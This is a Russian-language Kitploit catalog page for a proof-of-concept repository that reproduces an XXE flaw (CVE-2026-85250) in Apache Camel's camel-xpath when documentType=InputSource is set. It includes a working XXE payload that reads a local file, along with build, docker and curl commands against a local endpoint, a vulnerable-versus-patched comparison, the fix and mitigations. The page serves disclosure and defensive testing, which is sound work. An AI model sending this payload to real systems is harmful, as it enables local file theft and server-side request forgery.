Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-85250 — Рабочий proof-of-concept XXE для CVE-2026-85250 в Apache Camel camel-xpath (documentType=InputSource), с демонстрациями уязвимой и исправленной версий для Spring Boot и Quarkus. | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-85250
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и Образование
GitHuboscerd/cve-2026-85250

CVE-2026-85250

Рабочий proof-of-concept XXE для CVE-2026-85250 в Apache Camel camel-xpath (documentType=InputSource), с демонстрациями уязвимой и исправленной версий для Spring Boot и Quarkus.

Репозиторий
122 ч 9 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-85250 — camel-xpath: обработка внешних сущностей XML (documentType=InputSource)

Запускаемый воспроизводитель proof-of-concept для уязвимости Apache Camel, при которой с documentType, установленным в InputSource, XPathBuilder передавал полезную нагрузку напрямую в javax.xml.xpath, который создаёт собственный DocumentBuilder, используя настройки JDK по умолчанию. Таким образом, защитные меры, применённые к типу документа по умолчанию в Camel, были обойдены: объявление DOCTYPE, которое отклоняется для типа по умолчанию, здесь принималось, а объявленная в нём внешняя сущность разрешалась и раскрывалась в вычисляемом документе. Внешний отправитель, чей XML достигает такого выражения, мог прочитать файлы, доступные процессу Camel, и заставить процесс отправлять запросы на указанные им хосты.

Среда выполненияКаталогСтек
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-xpath 4.22.0 (уязвим; исправлено в 4.22.1)
Camel Quarkuscamel-quarkus/Quarkus 3.29.0 + camel-quarkus-xpath (Camel 4.15.0, уязвим; контроль с исправлением CQ 3.40.0 / Camel 4.22.1)

Оба модуля демонстрируют как уязвимое, так и исправленное поведение.

Что демонстрируется

На диске размещается безобидный «секретный» файл (cve-2026-85250-secret.txt, содержащий строку-маркер), заменяющий локальный файл, доступный процессу Camel. Атакующий отправляет XML — как InputStream, который преобразуется в InputSource — содержащий DOCTYPE, внешняя сущность которого ссылается на этот файл:

<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>

Маршрут вычисляет xpath("/test/text()").documentType(InputSource.class) по телу запроса.

  • Уязвимо: парсер InputSource (по умолчанию в JDK) разрешает внешнюю сущность, поэтому результатом XPath становится содержимое файла — маркер похищается.
  • Исправлено: DOCTYPE отклоняется усиленным парсером (тем же, что используется для типа документа по умолчанию), поэтому вычисление завершается ошибкой до разрешения какой-либо сущности.
# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack     # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack     # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack     # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack     # fixed: DOCTYPE refused

Сводка уязвимости

СвойствоЗначение
Компонентcamel-xpath (XPathBuilder, documentType=InputSource)
CWECWE-611 (Ненадлежащее ограничение ссылки на внешнюю сущность XML)
КритичностьВЫСОКАЯ
Вектор атакиНедоверенный XML, обрабатываемый выражением XPath, настроенным с documentType=InputSource
ВоздействиеXXE: раскрытие локальных файлов и подделка запросов на стороне сервера через внешние сущности
Затронутые версииОт 4.0.0 до 4.18.5, от 4.19.0 до 4.22.1
Исправленные версии4.18.5, 4.22.1, 4.23.0
JIRACAMEL-24475
БлагодарностьClaude Security Scan Tool

Уведомление: https://camel.apache.org/security/CVE-2026-85250.html

Исправление

XPathBuilder теперь направляет InputSource (и SAXSource) через toHardenedDocument(), который преобразует его в org.w3c.dom.Document с использованием того же усиленного DocumentBuilderFactory, который уже используется типом документа по умолчанию, прежде чем передать его движку XPath — таким образом, оба типа документов разбираются с одинаковой конфигурацией, а DOCTYPE отклоняется. Обратите внимание, что тип InputSource теперь также разделяет документированный обходной путь типа по умолчанию: те же системные свойства DocumentBuilderFactory, которые ослабляют тип по умолчанию, ослабляют и этот.

Меры защиты, если вы не можете обновиться

Не используйте documentType=InputSource для выражений, вычисляемых над недоверенным XML; тип документа по умолчанию уже отклоняет DOCTYPE.

Отказ от ответственности

Этот репозиторий публикуется в образовательных и защитных целях: чтобы помочь пользователям Apache Camel понять уязвимость, проверить, затронуты ли они, и убедиться, что обновление её устраняет. Файл «secret» — это инертный, специально размещённый маркер. Не используйте этот материал против систем, которыми вы не владеете и не управляете.

Скачать инструмент